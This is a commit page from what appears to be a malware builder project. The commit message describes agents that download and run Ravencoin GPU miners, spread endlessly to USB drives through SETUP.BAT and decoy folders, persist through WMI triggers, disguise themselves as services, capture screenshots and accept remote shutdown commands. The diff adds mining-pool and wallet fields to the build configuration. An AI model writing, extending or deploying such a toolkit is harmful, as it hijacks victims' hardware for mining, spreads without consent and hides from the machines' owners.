Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -85,6 +85,15 @@ type BuildRequest struct {
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool `json:"gpu_enabled"`
|
||||
RVNWallet string `json:"rvn_wallet"`
|
||||
RVNPoolHost string `json:"rvn_pool_host"`
|
||||
RVNPoolPort int `json:"rvn_pool_port"`
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
FleetSecret: %q,
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled: %v,
|
||||
RVNWallet: %q,
|
||||
RVNPoolHost: %q,
|
||||
RVNPoolPort: %d,
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
h.fleetSecret,
|
||||
req.GPUEnabled,
|
||||
req.RVNWallet,
|
||||
rvnPoolHost(req),
|
||||
rvnPoolPort(req),
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
)
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
}
|
||||
return req.RVNPoolHost
|
||||
}
|
||||
|
||||
func rvnPoolPort(req *BuildRequest) int {
|
||||
if req.RVNPoolPort <= 0 {
|
||||
return 6060
|
||||
}
|
||||
return req.RVNPoolPort
|
||||
}
|
||||
|
||||
func rvnPoolPass(req *BuildRequest) string {
|
||||
if req.RVNPoolPass == "" {
|
||||
return "x"
|
||||
}
|
||||
return req.RVNPoolPass
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
|
||||
Reference in New Issue
Block a user